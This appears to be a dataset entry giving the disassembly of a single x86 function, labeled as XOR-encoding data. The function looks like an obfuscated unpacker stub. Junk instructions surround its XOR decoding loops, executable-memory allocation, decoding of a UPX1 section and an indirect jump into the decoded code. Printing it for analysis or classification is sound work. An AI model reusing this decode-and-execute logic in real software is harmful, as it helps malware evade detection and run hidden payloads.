Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbe9e63ea
sub edi, 0x7bffd415
mov edi, 0x7baf6591
popal
mov edi, 0x553a2904
mov edi, ecx
mov ecx, 0
mov esi, eax
sub ebx, edi
or edi, ebx
mov edx, esi
mov ebx, 0x6c5f8747
add ebx, ebx
mov eax, edx
mov ebx, edi
inc ebx
inc ecx
sub edi, 0x5d65fb46
add ebx, ebx
and ebx, edi
cmp ecx, 0x1007d70
jne 0xa789ca
sub edi, ebx
or edi, ebx
add ecx, 0x496531ff
add ecx, edi
inc edi
mov edx, 0xa78796
sub esi, ecx
add ecx, ecx
mov edi, 0xa7898a
and ebx, ebx
or esi, ecx
inc ebx
mov eax, dword [edx]
inc esi
dec ebx
not ebx
and eax, 0xff
add esi, 0x29e01d67
or ecx, ebx
xor dword [edi], eax
sub ebx, esi
add ecx, 0xf56b02ce
add ecx, 0x32a94009
inc edi
mov ebx, esi
inc esi
sub ecx, 1
add edx, 1
dec esi
add esi, 0x18642b30
sub ecx, 1
cmp edi, entry0
jl 0xa78a15
mov ecx, esi
add esi, 0xece1eef9
mov esi, 0x978dcd24
inc ebx
and ecx, ebx
sub ecx, 0x2d110a2a
add esi, ecx
sub ecx, esi
mov edx, 0xa7898e
dec esi
sub ecx, 0x2c1397cf
sub ebx, edi
mov edx, dword [edx]
sub ebx, 0xc60eaaa1
add esi, 0xca02c605
mov edx, dword [edx]
or esi, ecx
sub ecx, esi
push edx
and ebx, ebx
or edi, ecx
mov ebx, 0xa60e7b49
mov edx, 0xa7898a
add ebx, 0xeca5977d
mov ecx, edi
inc esi
mov edx, dword [edx]
sub esi, ebx
dec ecx
or ebx, ecx
mov edx, dword [edx]
sub ebx, ecx
dec edi
push 0xa78992
inc ebx
inc ecx
or esi, esi
call edx
sub ecx, esi
sub ecx, edi
pop edx
add esi, esi
mov esi, edi
mov ebx, 0x49a76a86
push 0xa7899f
mov edi, 0xbec1ade8
dec esi
push eax
add edi, edi
or esi, edi
dec edi
call edx
inc ebx
inc edi
push 0x40
not ebx
dec ebx
push 0x3000
inc edi
mov ebx, 0x11ba9fb
mov ebx, edi
sub esp, 4
mov dword [esp], 0x20000cf5
add esi, 0x97ae4bea
not esi
or edi, ebx
push 0
not ebx
sub ebx, esi
not ebx
call eax
sub ecx, 0xfb9defac
sub edi, esi
add ebx, 0x5e674197
add eax, 0x20000c60
dec edi
and edi, ecx
add edi, 0x3e806663
mov edx, 0x8ab2bbe4
add ebx, 1
mov ebx, ecx
and ecx, edi
mov dword [eax], edx
sub esi, 1
and esi, ecx
and ebx, esi
mov edx, dword [eax]
inc ebx
add ebx, 1
and edi, esi
cmp edx, 0x8ab2bbe4
je 0xa78b78
mov eax, 0
mov bl, byte [eax]
inc edi
not edi
and ebx, esi
not ebx
sub ecx, 0x239a865c
sub ecx, edi
mov edx, section.UPX1
sub ecx, edi
not edi
add edi, 0xa8696fa5
mov eax, 0xa78795
sub edi, ecx
sub edi, 0xf34683dc
sub ecx, edi
mov ebx, 0
sub edi, 0x57979633
sub ecx, 0xe4177053
or ecx, edi
mov esi, 0xa78796
and ecx, edi
sub edi, ecx
sub edi, 0xa3b121a9
lea esi, [esi + ebx]
add ecx, 0xb4968d7c
add ecx, edi
and ecx, ecx
mov esi, dword [esi]
not edi
add edi, ecx
and esi, 0xff
sub ecx, 0xa198308a
sub ecx, 0x23f2c9a7
add ecx, 0xa0a08c59
add ebx, 1
add ecx, 0xb366c5bc
sub ecx, edi
cmp ebx, 0x1f4
jne 0xa78c0d
mov ebx, 0
add edi, ecx
inc edi
sub edi, ecx
mov ecx, 0xb1b32078
not ecx
xor dword [edx], esi
inc edi
mov ecx, 0x2380eb25
add edx, 2
or edi, edi
not ecx
mov edi, ecx
cmp edx, eax
jl 0xa78bb8
mov edi, 0x29b77bd0
sub edi, 0x73134642
add edi, edi
not ecx
add edi, 0xa104a23f
mov eax, section.UPX1
dec edx
add edx, 0xdc7d624d
mov ecx, section.UPX1
sub edx, edi
and edi, edi
mov esi, 0xa78795
dec edi
and edi, edx
mov ebx, 0
inc edi
or edx, edi
mov bl, byte [ecx]
sub edx, edi
add edx, edi
mov byte [eax], bl
not edx
sub edx, edi
dec edx
inc eax
add edi, 1
not edi
add ecx, 2
add edi, edi
mov edx, edi
cmp ecx, esi
jle 0xa78c6f
sub edi, 0xf9fe93cc
dec edx
sub edx, edi
mov ecx, edi
or ecx, edi
mov edi, 0xd4e20668
sub esp, 4
mov dword [esp], 0x8dc6a0
and ecx, edi
add ecx, 0x91f2d4e0
sub ecx, 0x539612d5
ret